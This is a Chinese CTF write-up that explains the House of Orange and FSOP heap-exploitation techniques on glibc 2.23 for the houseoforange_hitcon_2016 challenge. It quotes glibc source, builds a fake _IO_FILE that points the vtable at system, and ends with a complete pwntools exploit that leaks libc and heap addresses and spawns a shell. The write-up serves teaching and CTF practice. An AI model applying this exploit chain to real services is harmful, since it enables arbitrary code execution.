House of Orange与FSOP
House of Orange与FSOP
我在网络上看到了很多关于houseoforange_hitcon_2016这道题的讲解,这道题往往都被作为House of orange和FSOP这两个技巧的典型例题,但是我认为这些博客有细节没有讲明白,对于我这种笨人来说看起来就很困难,所以干脆自己总结一下这两个技巧。
这道题的附件可以在BUUCTF上找到,例题讲解也有很多,我这里就以2.23的glibc的环境为例,着重讲一下这两个技巧。
在开始看这篇博客之前,我假定你已经对于pwn的堆利用已经有了一定的基础,且对于IO_FILE结构体的利用有所了解。如果你对这两者中的任意一个还是一无所知,我建议你先去看看ctf wiki或者我这个系列中的基础知识部分先补一补
当然,我这个鸽王肯定没有更新完基础知识系列(笑),大家莫急。
House of Orange
这个技巧达到的效果是:
实现在没有free的情况下把top chunk放进unsorted bin当中。
这个技巧需要的前置条件是:
我们可以实现堆溢出来修改top chunk的size域,且可以申请的内存块的大小能超过我们修改后的top chunk
我们知道,当申请的内存大小nb小于当前top chunk的size,且fast bin已经被清空时,程序就会通过sysmalloc来扩展堆段内存,这时原来的top chunk就会被抛弃掉,这里old top chunk的处理如下(其指针为old_top,大小为old_size):
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
}
else
{
set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
set_foot (old_top, (old_size + 2 * SIZE_SZ));
}
可以看到old top chunk其实就是相当于被free掉了(毕竟这时2.23,没有tcache,在main_arena中就相当于被free了)。
而之前还有一些检查:
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
可以看到要通过这些检查要有以下几条要求:
1.top chunk大小要大于MINSIZE。
2.前一个堆块是inuse状态,即size域P位为1(最后一位为1)
3.topchunk结尾处要实现页对齐(对齐0x1000)
这三个条件其实很好满速,稍微控制一下topchunk剩余大小,然后再堆溢出时只保留十六进制后三位就好了,比如0x203f1大小的topchunk,通过堆溢出改成0x3f1就ok了。只要不是在topchunk为0x??001这种时候去用这个技巧就ok。
这个时候,申请一个0x1000的堆块,原来的topchunk就会被扔进unsorted bin,返回来的内存是从新top chunk中切割出来的,这个一般没有什么利用价值。但是此时,如果我们的old top chunk是在large bin范围(这个概率极大,一般容易做到),我们再申请一个不等于old top chunk大小的内存,这时old top chunk就会先被扔进large bin,再被切割后返回给我们,这个切割返回的堆块里面就残留bk指针和fd_nextsize指针,如果有show功能,它就可供我们泄露libc基址和堆基址。
FSOP
前置知识回顾
想必大家对于这个结构并不陌生。
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
没错,这是linux下最全面的一个文件结构体。其中file是一个如下的结构:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
#else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
#endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
这个东西很大,我们只要记住chain域——这个用来串联各个file结构成单向链表的指针——在0x68的偏移处就行了。
每一个IO_FILE_plus都有一个_IO_jump_t类型的vtable指针,指向一个虚表,里面有很多的函数指针。
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
当调用相关的IO函数时,函数就会根据对应的IO流中的vtable指针,找到这个虚表,去调用相关的函数。
这个vtable指针在IO_FILE_plus结构的0xd8的偏移处。
对于一个linux进程,所有的IO_FILE结构都相互之间通过chain域链接,由一个单向链表维护。这个链表的表头就是IO_list_all这个指针。一般来说它指向_IO_2_1_stderr_这个符号。
_IO_flush_all_lockp
FSOP的要义,就是劫持IO_list_all这个指针来劫持程序执行流,让程序最终从一个伪造的file结构中取出伪造的虚表,在这个表中某个要被取出的函数指针处预先填上system或者onegadget来拿到shell。
(以下大致为CTF wiki原话)
这一系列的操作,我们希望通过_IO_flush_all_lockp这个函数来触发,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
而_IO_flush_all_lockp这个函数它不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
-
当 libc 执行 abort 流程时
-
当执行 exit 函数时
-
当执行流从 main 函数返回时
源码我贴出来了,可以看到这个函数通过chain域遍历IO_list_all这个链表。
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}
_IO_overflow是虚表中第四个函数指针,我们到时候修改它就好。
运用unsorted bin attack
这里为什么突然提到了这个东西呢?
我们知道,unsorted bin attack可以实现修改一个指针的值为unsorted bin的地址,下面就是unsorted bin attack的核心。这里要注意,随着这个操作的完成,unsorted bin就会被我们破坏。
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
在已经泄漏了libc基址的情况下,如果有堆溢出或者UAF,我们可以轻而易举地借此修改IO_list_all指针。
okok,有人也许发现问题了,这个指针即便被劫持,也是劫持到了unsorted bin处(即bins数组的开头),这个位置我们做不到任意写。但是上面说了,_IO_flush_all_lockp会通过chain域对每个IO_FILE结构调用_IO_overflow,第一次调用是把bins表头处当做FILE结构,这个调用必然会失败,但是不会导致程序崩溃(原因不明,但是亲测不会崩掉)。这时就会找0x68偏移出的chain域。
unsorted bin往后0x68大致是small bin范围,这就是说我们只要能把布置好的堆块释放到其中就行了。
且慢!我们得弄清楚0x68偏移到底对应哪一个大小的堆块?是0x70吗?
事实并非如此,我们知道bins的每一个元素其实都是chunk类型,只是由于prev_size和size域没有启用,因此产生了折叠存储的方式来节省空间。因此,unsorted bin相关宏返回的bin头部指针,其实和真正拿来寻找bin中堆块的指针,还有0x10的偏移,因此,能用来布置fake_file的chunk,大小必须是0x60!
因此才有了以下的fake_file构造思路:
fake_file ='/bin/sh\x00'+p64(0x61)
fake_file+=p64(0)+p64(io_list_all-0x10)
fake_file+=p64(0)+p64(1)
fake_file=fake_file.ljust(0xd8,'\x00')
fake_file+=p64(fake_file_addr)
fake_file+=3*p64(0)
fake_file+=p64(system_addr)
用这个结构去篡改unsorted bin中最后的一个堆块(会最先取到的那个),然后随便申请一个内存块(尽量大一点避开0x60或者触发分割),让这个堆块进入到small bin中去,之后unsorted bin被破坏了,接下来会发生错误,触发_IO_flush_all_lockp,在第二次IO_OVERFLOW时,取的函数指针为system,传的参数为file结构体的指针,也就是这里的/bin/sh的地址,然后就会触发system(“/bin/sh”),这样我们就拿到shell了。
EXP
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'
r=process('/home/wjc/Desktop/houseoforange_hitcon_2016')
#r=remote('node4.buuoj.cn',28342)
libc=ELF('/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so')
def cmd(idx):
r.recvuntil('Your choice : ')
r.sendline(str(idx))
def Add(size,content,price,color):
cmd(1)
r.recvuntil('Length of name :')
r.sendline(str(size))
r.recvuntil('Name :')
r.send(content)
r.recvuntil('Price of Orange:')
r.sendline(str(price))
r.recvuntil('Color of Orange:')
r.sendline(str(color))
def Show():
cmd(2)
def Edit(size,content,price,color):
cmd(3)
r.recvuntil('Length of name :')
r.sendline(str(size))
r.recvuntil('Name:')
r.send(content)
r.recvuntil('Price of Orange: ')
r.sendline(str(price))
r.recvuntil('Color of Orange: ')
r.sendline(str(color))
Add(0x30,'aaa',0x1234,0xddaa)
pay1=0x30*'a'+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)+p64(0)+p64(0xf81)
Edit(len(pay1),pay1,666,0xddaa)
# gdb.attach(r,
# '''
# b*$rebase(0xda5)\n
# c\n
# vmmap\n
# '''
# )
Add(0x1000,'b\n',0x1234,0xddaa)
Add(0x400, 'a' * 8, 199, 2)
#gdb.attach(r)
Show()
r.recvuntil('Name of house : aaaaaaaa')
libcbase=u64(r.recv(6).ljust(8,'\x00'))-(0x7fbf95833188-0x7fbf9546e000)
io_list_all=libcbase+libc.symbols['_IO_list_all']
system_addr=libcbase+libc.symbols['system']
realloc_hook=libcbase+libc.symbols['__realloc_hook']
Edit(0x10,0x10*'b',199,2)
#gdb.attach(r,'b*$rebase(0x13D0)')
Show()
r.recvuntil('Name of house : ')
r.recvuntil(0x10*'b')
heapbase=u64(r.recv(6).ljust(8,'\x00'))-(0x55d010fad0e0-0x55d010fad000)
log.success("heapbase: "+hex(heapbase))
log.success("realloc_hook: "+hex(realloc_hook))
# payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
# fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
# fake_file += p64(0)+p64(io_list_all-0x10)
# fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
# fake_file = fake_file.ljust(0xc0,'\x00')
# fake_file += p64(0) * 3
# fake_file += p64(heapbase+0x5E8) #vtable ptr
# fake_file += p64(0) * 2
# fake_file += p64(system_addr)
# payload += fake_file
# Edit(len(payload), payload, 666, 2)
pay2=0x400*'a'+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)
fake_chunk ='/bin/sh\x00'+p64(0x61)
fake_chunk+=p64(0)+p64(io_list_all-0x10)
fake_chunk+=p64(0)+p64(1)
fake_chunk=fake_chunk.ljust(0xd8,'\x00')
fake_chunk+=p64(heapbase+(0x55868211a5e8-0x55868211a000)+8)
fake_chunk+=3*p64(0)
fake_chunk+=p64(system_addr)
pay2+=fake_chunk
gdb.attach(r,'b*$rebase(0x13D0)')
Edit(len(pay2),pay2,199,2)
log.success("*** leak result ***")
log.success("libcbase: "+hex(libcbase))
log.success("heapbase: "+hex(heapbase))
log.success("_IO_list_all: "+hex(io_list_all))
log.success("realloc_hook: "+hex(realloc_hook))
cmd(1)
r.interactive()